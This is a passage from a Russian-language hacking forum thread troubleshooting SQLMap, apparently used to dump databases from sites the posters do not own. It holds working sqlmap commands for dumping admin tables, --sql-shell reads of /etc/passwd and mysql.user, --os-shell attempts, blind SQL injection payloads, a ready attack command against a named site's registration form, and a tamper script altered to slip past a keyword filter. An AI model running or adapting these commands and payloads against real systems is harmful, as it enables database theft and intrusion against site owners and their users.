Вопросы по SQLMap

Discussion in 'Уязвимости' started by randman, 1 Oct 2015.

  1. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    292
    Likes Received:
    41
    Reputations:
    24
    Буду рад помощи, сливаю базу ниже указанным способом:
    Code:
    sqlmap -r my_http  --dump --threads=5 --dbms=mysql --dump -D some_db  --risk=3
    Скорость просто ужас(пробовал менять потоки, тайминги итд.. результата ноль) Как следствие Пробую слить данные только админов, указываю таблицу и запускаю:
    Code:
    sqlmap -r my_http  --dump --threads=5 --dbms=mysql --dump -D some_db  -T admin_table --risk=3
    
    [12:15:44] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done) 
    do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
    [12:15:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
    [12:15:57] [INFO] adjusting time delay to 1 second due to good response times
    [12:15:58] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    [12:15:58] [ERROR] unable to retrieve the number of columns for table 'admin_table' in database 'some_db'
    [12:15:58] [WARNING] unable to retrieve column names for table 'admin_table' in database 'some_db'
    [12:18:10] [WARNING] unable to enumerate the columns for table 'admin_table' in database 'some_db'
    [12:18:10] [INFO] fetched data logged to text files under '/root/.sqlmap/....'
    Получаю облом.... Пробую --sql-shell:
    Code:
    sql-shell> SELECT LOAD_FILE('/etc/passwd');
    [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('/etc/passwd')'
    [INFO] retrieved:
    
    sql-shell> desc mysql.user
    [INFO] fetching SQL query output: 'desc mysql.user'
    [INFO] retrieved:
    
    sql-shell> SELECT * FROM mysql.user;
    [INFO] fetching SQL SELECT statement query output: 'SELECT * FROM mysql.user'
    [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
    [INFO] fetching columns for table 'user' in database 'mysql'
    [INFO] retrieved:
    [ERROR] unable to retrieve the number of columns for table 'user' in database 'mysql'
    [INFO] retrieved:
    [WARNING] the SQL query provided does not return any output
    
    Снова облом а именно... в первых двух случаях получаю просто пустые строки, в третьем случае просто ошибка, пробую заюзать --os-shell:
    Code:
    [WARNING] unable to automatically retrieve the web server document root
    what do you want to use for writable directory?
    [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
    [2] custom location(s)
    [3] custom directory list file
    [4] brute force search
    
    Если лить в первый path-и(1) то получаю постоянно 404 (Not Found)
    пробовал сразу сбрутить(4) по предоставленному sqlmap-ом словарю... но все без результата.

    Главный вопрос: как так я могу получить дамп всей базы но не имею возможность указать конкретную таблицу?
    Пробовал имя таблицы указывать в ' ' подскажите что я упускаю...

    Решение:
    Напишу вдруг кому то поможет :) В моем случае проблема была в том что при запуске я 'соглашался' на редирект, после отказа от редиректа данные начали извлекаться нормально.
     
    #1041 tester_new, 10 May 2020
    Last edited: 11 May 2020
    vladF likes this.
  2. vladF

    vladF New Member

    Joined:
    5 Dec 2018
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Нужна помощь
    Сканер выдал такое:
    Code:
    This vulnerability affects /part_eYXfQU0lw9rhwob9qRP2GVMv.html.
    Discovered by: Scripting (Blind_Sql_Injection.script).
    Attack details
    URL encoded POST input partid was set to -1' OR 3*2*1=6 AND 000323=000323 or 'XAZghp6T'='
    
    Tests performed:
    -1' OR 2+323-323-1=0+0+0+1 or 'XAZghp6T'=' => TRUE
    -1' OR 3+323-323-1=0+0+0+1 or 'XAZghp6T'=' => FALSE
    -1' OR 3*2<(0+5+323-323) or 'XAZghp6T'=' => FALSE
    -1' OR 3*2>(0+5+323-323) or 'XAZghp6T'=' => FALSE
    -1' OR 2+1-1-1=1 AND 000323=000323 or 'XAZghp6T'=' => TRUE
    -1' OR 000323=000323 AND 3+1-1-1=1 or 'XAZghp6T'=' => FALSE
    -1' OR 3*2=5 AND 000323=000323 or 'XAZghp6T'=' => FALSE
    -1' OR 3*2=6 AND 000323=000323 or 'XAZghp6T'=' => TRUE
    -1' OR 3*2*0=6 AND 000323=000323 or 'XAZghp6T'=' => FALSE
    -1' OR 3*2*1=6 AND 000323=000323 or 'XAZghp6T'=' => TRUE
    Как правильно скормить в sqlmap?
     
  3. FireRidlle

    FireRidlle New Member

    Joined:
    7 Jul 2009
    Messages:
    27
    Likes Received:
    4
    Reputations:
    3
    как можно скормить sqlmap уязвимость в хедере?
     
  4. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    474
    Likes Received:
    748
    Reputations:
    30
    Вы можете полностью скопировать запрос в текстовый файл и в уязвимом параметре поставить знак * и потом уже стартовать скульмап:
    Code:
    sqlmap -r "zapros.txt"
    или же скопировать запрос и при старте указать тестируемый параметр/хедер (например User-Agent):
    Code:
    sqlmap -r "zapros.txt" -p "user-agent"
     
    FireRidlle likes this.
  5. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    243
    Likes Received:
    87
    Reputations:
    1
    Добрый подскажите как вытянуть пароль в blob?
    Пробовал и hex и прочее никак не тянет((
    Code:
    back-end DBMS: MySQL >= 5.0.0
    banner: '5.7.21-20-beget-5.7.21-20-1-log'
    Вечно такой результат
    http://joxi.ru/ZrJVX1phw8dRor
    http://joxi.ru/KAgK8yWFEDPj0A
     
  6. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    kacergei and fandor9 like this.
  7. vladF

    vladF New Member

    Joined:
    5 Dec 2018
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Приветствую! Проблема такая: при сливе обрезается хеш:
    Code:
    [04:41:49] [INFO] retrieved: 'test@mail.com','$2y$10$IN1YM1wQoCAAI...
    [04:41:51] [INFO] retrieved: 'test@mail.com','$2y$10$s7Y6jmxm0Lk5MYk6p727...
    [04:41:53] [INFO] retrieved: 'test@mail.net','$2y$10$zIlubVWzn/zVAbNef...
    [04:41:54] [INFO] retrieved: 'test@mail.com','$H\\2y$7KguiftaH$10\\ZByke...
    [04:41:56] [INFO] retrieved: 'test@mail.com','$2y$10$8ycUx4ZRAtEvOpHS...
    [04:41:58] [INFO] retrieved: 'test@mail.com','$2y$10$X2cd3HkmJs5f3DsUtzk...
    [04:42:00] [INFO] retrieved: 'test@mail.com','$2y$10$52HMKZS6r4HT...
    
    Как это побороть? Пробовал hex, no-cast
     
  8. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    С чё ты взял? Зайти в файл дампа и там посмотри, в консоле может и режет, потому что не влазит
     
    vladF likes this.
  9. vladF

    vladF New Member

    Joined:
    5 Dec 2018
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Спасибо,разобрался. Просто при сливе базы, данные сохраняются лишь в sqlite файл сессии. Если закрыть консоль, то дамп не сохраняется,нужно ждать пока он полностью не сольется. С помощью --stop 100, сдампил первые 100 строк и глянул, все хорошо)
     
  10. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    ctrl+c нажимаешь и дамп сохраняется
     
    vladF likes this.
  11. Axiles

    Axiles New Member

    Joined:
    14 Jan 2016
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Добрый день,подскажите пожалуйста как вставить вот такую пост ссылку в мап.Я так понимаю нужно прописать еще --data.спасибо
    http://prntscr.com/st216j
    Code:
    The vulnerability affects https://aachibilyaev.com/cabinet/registration/ , REGISTER[EMAIL]
    
    Discovered by SQL injection
    
    Attack Details
    arrow_drop_up
    POST (multipart) input REGISTER[EMAIL] was set to 1'"
    
    Error message found:
    You have an error in your SQL syntax
    Code:
    POST /cabinet/registration/?backurl=/cabinet/&register=yes HTTP/1.1
    Content-Type: multipart/form-data; boundary=----------Q9OXvYdJGy9b
    Referer: https://aachibilyaev.com/
    Cookie: PHPSESSID=ivp6k01981u5ild8o166grp2r0;BITRIX_SM_GUEST_ID=139605;BITRIX_SM_LAST_VISIT=03.06.2020+14%3A00%3A45;io=NVTaYGNo3vUnQsF_AAiQ;tmr_reqNum=26;BITRIX_CONVERSION_CONTEXT_s1=%7B%22ID%22%3A1%2C%22EXPIRE%22%3A1591217940%2C%22UNIQUE%22%3A%5B%22conversion_visit_day%22%5D%7D;catalogViewMode=list;_ym_debug=null;last_visit=1591170065298::1591180865298;top100_id=t1.6912325.390564327.1591180865288
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Encoding: gzip,deflate
    Content-Length: 1021
    Host: aachibilyaev.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
    Connection: Keep-alive
    
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[CONFIRM_PASSWORD]"
    
    g00dPa$$w0rD
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[EMAIL]"
    
    1'"
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[LOGIN]"
    
    1
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[NAME]"
    
    TWSfSopc
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[PASSWORD]"
    
    g00dPa$$w0rD
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="REGISTER[PERSONAL_PHONE]"
    
    555-666-0606
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="backurl"
    
    /cabinet/
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="licenses_popup"
    
    Y
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="register_submit_button"
    
    reg
    ------------Q9OXvYdJGy9b
    Content-Disposition: form-data; name="register_submit_button1"
    
    register_submit_button1=Регистрация
    ------------Q9OXvYdJGy9b--
     
  12. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    sqlmap.py --url "https://aachibilyaev.com/cabinet/registration/?register=yes" --data="backurl=/cabinet/login/&registe
    r_submit_button=reg&REGISTER[NAME]=asdasd&REGISTER=1*&REGISTER[PERSONAL_PHONE]=+7 (123) 123-12-31&REGISTER[PASSWORD]=1234567&REGISTER[CONFIRM_PASSWORD]=1234567&REGI
    STER[LOGIN]=1&licenses_popup=Y&register_submit_button1=Регистрация" --dbs --risk=3 --level=3 --dbms=mysql

    p.s там фильтрация
     
    Axiles likes this.
  13. Axiles

    Axiles New Member

    Joined:
    14 Jan 2016
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    это через burp? спасибо
     
  14. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    это так в мапу уже пихать
     
  15. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    392
    Likes Received:
    266
    Reputations:
    3
    Помогите с тампером для мапы, нужно что б слово from меняло на 'xz'froM
     
  16. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    474
    Likes Received:
    748
    Reputations:
    30
    я бы взял как болванку тампер
    Code:
    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    import os
    import re
    
    from lib.core.common import singleTimeWarnMessage
    from lib.core.enums import DBMS
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.HIGHEST
    
    def dependencies():
        singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
    
    def tamper(payload, **kwargs):
        """
        Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
    
        Tested against:
            * Microsoft SQL Server 2005
            * MySQL 4, 5.0 and 5.5
    
        Notes:
            * Useful to bypass weak and bespoke web application firewalls that
              filter the equal character ('=')
            * The LIKE operator is SQL standard. Hence, this tamper script
              should work against all (?) databases
    
        >>> tamper('SELECT * FROM users WHERE id=1')
        'SELECT * FROM users WHERE id LIKE 1'
        """
    
        retVal = payload
    
        if payload:
                retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
    
        return retVal
    теперь в регулярке пишите
    Code:
    retVal = re.sub(r"\s*FROM\s*", " \'xz\'froM ", retVal, flags=re.IGNORECASE)
    и сохраняете под другим именем.
     
  17. Axiles

    Axiles New Member

    Joined:
    14 Jan 2016
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Парни как понять какую технику нужно использовать? --technique
     
  18. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    243
    Likes Received:
    87
    Reputations:
    1
    Всё просто, вот варианты:

    Code:
    B: Boolean-based blind
    E: Error-based
    U: Union query-based
    S: Stacked queries
    T: Time-based blind
    Q: Inline queries
    Использовать так:
    Code:
    --technique=BE
    А вообще эти моменты расписаны все в sqlmap wiki usage на github'e
    Там все ключи всё расписано

    PS: а как понять, так просто голова+руки
    К примеру что бы сэкономить время не хочешь проверять на Time-based blind, то --technique=BEUSQ
    или наоборот если слепая то --technique=T
    Надеюсь мысль понял) (PS сорри что квадратно объяснил, на англ проще)
     
    Axiles likes this.
  19. Axiles

    Axiles New Member

    Joined:
    14 Jan 2016
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    кто сталкивался с таким? http://prntscr.com/svuovq
    уязвимость типа boolean-based blind
    открывается бд ,но не полностью ,открывает часть таблицы,а дальше вот это
    [14:29:22] [INFO] retrieving the length of query output
    [14:29:22] [INFO] retrieved:
    [14:29:26] [INFO] retrieved:
    [14:29:30] [INFO] retrieving the length of query output
    [14:29:30] [INFO] retrieved:
    [14:29:33] [INFO] retrieved:
    [14:29:36] [INFO] retrieving the length of query output
    [14:29:36] [INFO] retrieved:
    [14:29:40] [INFO] retrieved:
    [14:29:44] [INFO] retrieving the length of query output
    [14:29:44] [INFO] retrieved:
    [14:29:47] [INFO] retrieved:
    [14:29:50] [INFO] retrieving the length of query output
    [14:29:50] [INFO] retrieved:
    [14:29:53] [INFO] retrieved:
    [14:29:57] [INFO] retrieving the length of query output
    [14:29:57] [INFO] retrieved:
    [14:30:00] [INFO] retrieved:
    [14:30:04] [INFO] retrieving the length of query output
    [14:30:04] [INFO] retrieved:
    [14:30:07] [INFO] retrieved:
    [14:30:11] [INFO] retrieving the length of query output
    [14:30:11] [INFO] retrieved:
     
  20. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    243
    Likes Received:
    87
    Reputations:
    1
    Попробуй с --hex
     
Loading...